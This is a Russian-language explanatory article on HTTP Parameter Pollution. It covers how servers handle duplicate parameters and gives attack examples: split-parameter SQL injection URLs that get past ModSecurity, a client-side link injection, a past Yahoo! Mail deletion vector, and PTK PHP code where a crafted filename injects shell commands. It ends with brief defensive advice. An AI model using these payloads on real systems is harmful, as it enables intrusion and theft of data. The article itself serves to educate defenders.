HTTP Parameter Pollution – это новый вид атак на веб-приложения, основным преимуществом которого является возможность обхода WAF (Web Application Firewall). Концепт HPP был разработан итальянскими исследователями Luca Carettoni и Stefano di Paola и представлен на недавно прошедшей конференции OWASP AppSec EU09 Poland.
Несмотря на простоту, HPP является довольно эффективным способом. Его суть заключается в смешивании или дословно “загрязнении” границ HTTP-параметров.
Согласно RFC3986 параметрами HTTP-запроса являются пары, состоящие из ключа и значения, разделенные символом =. Границы параметров в свою очередь определяются с помощью символов & и ;. Однако тот же стандарт не запрещает многократное использование одинаковых имен в HTTP-запросах. Например:
POST /index.php?a=1&a=2 HTTP/1.0 Host: localhost Cookie: a=3;a=4 Content-type: text/plain Content-Length: 7 Connection: close a=5&a=6
Различные веб-серверы обрабатывают такие запросы по-своему. Например вывод $_REQUEST[‘a’] на Apache/PHP вернет 3, а вывод Request.Params[“a”] на IIS6.0/ASP.NET – 1,2,3,4,5,6. В связи с особенностями обработки запросов с одноименными параметрами возникают различные непредвиденные разработчиками ошибки и, как следствие, нарушение логики работы веб-приложений, что приводит к уязвимостям (SQL-injection, XSS, CSRF, Clickjacking (UI Redressing) и др). Вызванные HTTP Parameter Pollution уязвимости подразделяются на категории серверных и клиентских.
Атаки на серверную часть
Одной из самых интересных особенностей HTTP Parameter Pollution является возможность обхода такого известного WAF как ModSecurity на IIS6.0 вкупе с ASP.NET. Ошибкой ModSecurity является то, что он анализирует запрос после того, как он был обработан веб-сервром, т.е. проверке подвергается каждый параметр независимо друг от друга. На самом деле, назвать это ошибкой было бы несправедливо, если бы IIS не производил бы конкатенацию параметров с одинаковыми именами с помощью запятой. Кто здесь больше виноват ModSecurity или IIS сказать сложно, но в любом случае это приводит к обходу фильтрации (имеется в виду базовый набор правил ModSecurity). Эту уязвимость обнаружил Lavakumar Kuppan.
В качестве примера можно рассмотреть следующую SQL-инъекцию:
http://www.example.com/index.aspx?id=-1+UNION+SELECT+username,password+FROM+users–
Такой запрос был бы отвергнут ModSecurity, однако с помощью HTTP Parameter Pollution возможен обход фильтрации:
http://www.example.com/index.aspx?id=-1+UNION+SELECT+username&id=password+FROM+users–
В итоге Request.QueryString[ʺidʺ] будет содержать склеенные запятой части расщепленного параметра id. IIS объединяет не только те параметры, которые относятся к query string, но также и те, которые присутствуют в POST и COOKIE. Кроме того, учитывая, что MSSQL, который чаще всего работает с ASP, а также и другие RDBS поддерживают многострочные комментарии /* … */, то становится возможным проведение еще более изощренной атаки:
http://www.example.com/index.aspx?id=-1/*&id=*/UNION/*&id=*/SELECT/*&id=*/username&id=password/*&id=*/FROM/*&id=*/users–
В результате SQL-инъекция будет успешно проведена, так как запрос будет корректным:
-1/*,*/UNION/*,*/SELECT/*,*/username,password/*,*/FROM/*,*/users--
Атаки на клиентскую часть
Основная суть атак на клиента заключается в добавлении дополнительных параметров к ссылкам, различным тэгам, имеющих атрибут src, и к формам (атрибут action). Стандартный уязвимый код выглядит следующим образом:
<?php
$param = htmlspecialchars($_GET['param']);
echo "<a href=http://www.example.com/index.php?action=view¶m={$param}>test</a>";
?>
От XSS подобное приложение будет защищено, но не от HPP:
http://www.example.com/index.php?param=hpp%26action=edit
<a href=http://www.example.com/index.php?action=view¶m=hpp&action=edit>test</a>
Реальным примером уязвимости является возможность непреднамеренного удаления жертвой всех своих писем на Yahoo! Mail, что было продемонстрировано Stefano di Paola. Эта уязвимость к настоящему времени уже исправлена разработчиками. Вектор атаки был следующим:
http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&order=down&tt=245&pSize=25&startMid=0%2526cmd=fmgt.emptytrash%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete
Еще один пример, затрагивающий приложение массового использования, – это обход XSS Filter в IE8. Эта уязвимость также была своевременно пропатчена. Атака была актуальна только для ASP.NET, где, как уже упоминалось, одноименные параметры объединяются в один. XSS Filter пропускал расщепленные параметры, и в HTML могло быть нечто вроде:
<script,src="...">
И, наконец, последний пример достойный внимания – это уязвимость в веб-приложении PTK. Когда администратор выбирает изображение веб-приложение вызывает скрипт:
/ptk/lib/file_content.php?arg1=null&arg2=107533&arg3=
При этом уязвимый код выглядит следующим образом:
<?php
$offset = $_GET['arg1'];
$inode = $_GET['arg2'];
$name = $_GET['arg3']; //filename
$partition_id = $_GET['arg4'];
$page_offset = 100;
/* ... */
$type = get_file_type($_SESSION['image_path'], $offset, $inode);
/* ... */
function get_file_type($path, $offset, $inode){
include("../config/conf.php");
if($offset== 'null'){
$offset= '';
}else{
$offset = "-o $offset";
}
if($inode == 'null') $inode = '';
$result = shell_exec("$icat_bin -r $offset$path $inode | $file_bin -zb -");
/* ... */
}
?>
Учитывая, что PHP воспринимает только последний встреченный параметр из группы одноименных, то файл с именем Confidential.doc&arg1=;CMD; приведет к исполнению указанных команд. Как подсунуть такой файл – это отдельный вопрос, но в итоге получается хранимая HPP.
Защита
Конкретных и универсальных способов защиты пока что не существует, но при разработке веб-приложений стоит уделять внимание особенностям поведения веб-сервера и окружения. В качестве защиты от атак на клиентов необходимо обрабатывать входящие данные, которые попадают впоследствии в ссылки, с помощью функции urlencode(), а не htmlspecialchars(). В заключение приведу список ссылок по теме:
Leave a Reply